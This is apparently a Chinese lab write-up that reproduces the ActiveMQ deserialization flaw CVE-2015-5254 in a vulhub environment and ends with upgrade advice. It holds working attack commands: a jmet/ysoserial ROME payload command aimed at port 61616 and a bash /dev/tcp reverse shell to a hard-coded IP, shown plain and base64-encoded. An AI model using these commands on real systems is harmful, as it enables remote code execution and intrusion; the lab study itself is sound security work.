ActiveMQ 反序列化漏洞(CVE-2015-5254)

ActiveMQ 反序列化漏洞

Apache ActiveMQ是一种开源的消息代理(message broker),被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能,使得开发者能够构建可靠、可扩展的消息传递系统。

说明内容
漏洞编号CVE-2015-5254
漏洞名称ActiveMQ 反序列化漏洞
漏洞评级高危
影响范围ActiveMQ 5.13.0以前版本
漏洞描述java反序列化任意代码执行
修复方案升级到Apache ActiveMQ 5.13.0及以上版本

漏洞描述

Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。

CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞等级

评定方式等级
威胁等级严重
影响面广泛

基础环境

  • www.vulhub.org
  • cd …/vulhub/activemq/CVE-2015-5254
  • docker compose up -d

漏洞复现

漏洞利用过程如下:
  1. 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
  2. 将序列化对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面➡读取消息➡触发漏洞
漏洞复现

环境搭建好后访问your-ip:8186,出现这个页面表示环境搭建成功。

ActiveMQ:8186 管理端口, 61616 默认服务端口 。

image-20230914111331809

kali中下载jmet的jar包,里面集成了ysoserial,运行jar包jdk环境要对应,我的jdk是1.8版本,jdk17执行失败了。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载后同目录下创建一个external文件夹,否则可能会出错。

执行以下代码发送一个消息给服务器

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

-Q myevent:指定要投递的事件名称。jmet会使用该事件名称的payload封装成消息投递。
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击。
-Y “touch /tmp/success”:指定要执行的命令。
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象的payload。
114.115.172.115 61616:指定目标ActiveMQ的地址和端口。

访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码:admin,admin

当点击消息的时候我们的命令将会被执行。

image-20230914120536037

image-20230914120419752

当点击了这条消息后我们的命令就被触发执行了,说明是有这个漏洞的。

image-20230914120436520

反弹shell

想要执行反弹shell我们需要对反弹shell命令做一个base64编码才可以执行,要么会执行失败。

首先准备好一个反弹shell,然后base64编码

bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击的时候我们的反弹shell也就会被执行。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616

点击一下

image-20230914122202099

我们服务器监听的地方就可以拿到一个反弹shell了。

image-20230914121603298

修复建议

1、升级到Apache ActiveMQ 5.13.0及以上版本或更新补丁。

网址如下:
http://activemq.apache.org/security-advisories.data

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/199682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1_控制系统总体结构

1、总体结构 控制系统结构图: 黑色块为参数、黄色块为计算模块 1.1 其中参数含义 车辆属性参数: 参数含义 C α f C_{\alpha f} Cαf​自行车模型总轮胎侧偏刚度(前轮) C α r C_{\alpha r} Cαr​自行车模型总轮胎侧偏刚度&a…

客户案例:SMC2威胁感知升级,保障金融行业邮件安全

客户背景 某基金公司是一家在业界享有广泛声誉的综合型资产管理公司,总部位于广州,在北京、上海、香港等地区均设有公司,业务范围遍布全球,凭借其卓越的投资业绩和专业的基金管理服务,赢得了广大投资者的高度认可。 该…

Arduino驱动MLX90614红外测温传感器(温湿度传感器)

目录 1、传感器特性 2、测量方法 3、硬件原理图 4、控制器和传感器连线图

【代码随想录】算法训练计划38

dp 今天这三道都写过了 1、509. 斐波那契数 题目: 斐波那契数 (通常用 F(n) 表示)形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是: F(0) 0,F(1) …

数据结构第二次作业——递归、树、图【考点罗列//错题正解//题目解析】

目录 一、选择题 ——递归—— 1.【单选题】 ——递归的相关知识点 2.【单选题】——递归的应用 3.【单选题】——递归的实现结构 4.【单选题】——递归的执行与实现 5.【单选题】 ——递归算法 ——树—— 6.【单选题】 ——树的结构 *7.【单选题】——树的知识点 …

【Effective C++】条款2:尽量以const,enum,inline替换#define

一.const替换#define #define的两个缺点: 不便于调试,编译器看到的是宏替换后的值,报错时显示也是替换后的内容,不便于定位错误目标代码中出现多个替换后的内容。因为宏替换在预处理阶段完成,宏是不会进入记号表的。 …

MYSQL窗口函数详解和实战(内含示例)

MySQL 窗口函数提供了跨与当前行关联的分组的计算能力。 窗口函数与聚合函数不同,聚合函数对每个分组进行计算并为每个分组返回一行,而窗口函数不会将每个分组输出到一行,而是将每个分组的计算结果合并到与之关联的行中。 目录 一、CUME_DIS…

【Maven】依赖管理

1. 依赖管理 1.1 依赖配置 依赖:指当前项目运行所需要的jar包。一个项目中可以引入多个依赖。 依赖引入步骤:在pom.xml中编写标签,在标签中使用引入坐标,定义坐标的 groupId、artifactId、version,最后点击刷新&…

html css 布局layout

弹性布局 display:flex; justify-content:space-between; — 水平分布【item之间有相同的边距,和容器之间没边距】justify-content: space-around; — item和item之间以及和容器之间都有边距align-items: center; — 垂直居中分布align-items:stretch; — 如果item…

17. 电话号码的字母组合 经典回溯组合题目

17. 电话号码的字母组合 原题链接:完成情况:解题思路:参考代码:错误经验吸取 原题链接: 17. 电话号码的字母组合 https://leetcode.cn/problems/letter-combinations-of-a-phone-number/description/ 完成情况&…

c题目16:写一个递归函数,计算N阶乘

每日小语 一生中,最光辉的一天并非功成名就的那一天,而是从悲叹与绝望中产生对人生挑战与勇敢迈向意志的那一天。——福楼拜 自己思考 这个小语呢,我目前还达不到,只是顺其自然,很多东西做起来很有动力,…

AIGC: 关于ChatGPT中对输出文本进行审核

违禁词 与 logit_bias 参数 前文,通过GPT的API实现了一个简单的聊天机器人, 当然也可以做一些内容审核相关的应用这里有一个非常核心,需要重点关注的一个方向,就是对于文本的审核 对于一些违禁词,我们需要准确的识别出来&#xf…

《opencv实用探索·十》opencv双边滤波的简单理解

1、引言 OpenCV中的双边滤波(Bilateral Filtering)是一种保持边缘清晰的滤波方法,它考虑像素的空间关系和像素值之间的差异。双边滤波对于去除噪声的同时保持图像的边缘非常有效,它也是一种非线性滤波。 双边滤波采用了两个高斯滤…

[Redis]基础入门

Redis入门 一、初识Redis Redis是一种键值型的NoSql数据库。 其中键值型,是指Redis中存储的数据都是以key、value对的形式存储,而value的形式多种多样,可以是字符串、数值,甚至是json。 NoSql则是相对于传统关系型数据库而言&a…

行业内卷严重到什么程度了?

一.内卷现状 最近大家都吐槽找工作难,确实很难。 不得不说,现在找工作的难度是以前的很多倍。甚至可以说地狱级都不为过。 以前只要简历一挂到网上,就有很多电话打过来。特别是在一线城市,各种类型企业的HR都来找,希…

Android wifi disable分析

总体流程 老套路基本不变: WifiSettings 通过 WifiManager 下cmd 给 WifiServiceWifiService 收到cmd后,先完成一部分列行检查(如UID的权限、是否airPlayMode等等),之后将cmd下发给到WifiControllerWifiController 收…

Linux 环境变量

文章目录 环境变量概念查看环境变量设置环境变量代码获取环境变量补充说明 环境变量概念 定义 :环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数。 个人理解:Linux下一切皆文件,在Linux中所用的指…

HTML5 基础总结

HTML5 HTML全称为超文本标记语言,是一种标记语言。由一系列标签构成,这些标签将分散的Internet资源链接成为了一个整体。 文档声明 HTML5之前 以SGML(通用标准标记语言)为标准 H5不再采用这个标准 声明方式比较简洁 语法特性 HTM…

在机器学习或者深度学习中是否可以直接分为训练集和测试集而不需要验证集?我的答案如下:

文章目录 一、训练集是什么?二、验证集是什么?三、测试集是什么?四、是否可以直接分为训练集和测试集而不需要验证集?总结 在机器学习和深度学习项目中,通常会将数据集划分为三个部分:训练集,验…

SpringMVC实验(四)——前后端分离下的数据交互

【知识要点】 前后端分离概念 前端开发不依赖与后端,二者均可独立发展。二者责任与分工明确,前端负责人机交互操作,后者负责仅提供数据服务,不再参与前端页面的跳转的控制。随着前端设备的多元化,前后端分离开发已经成…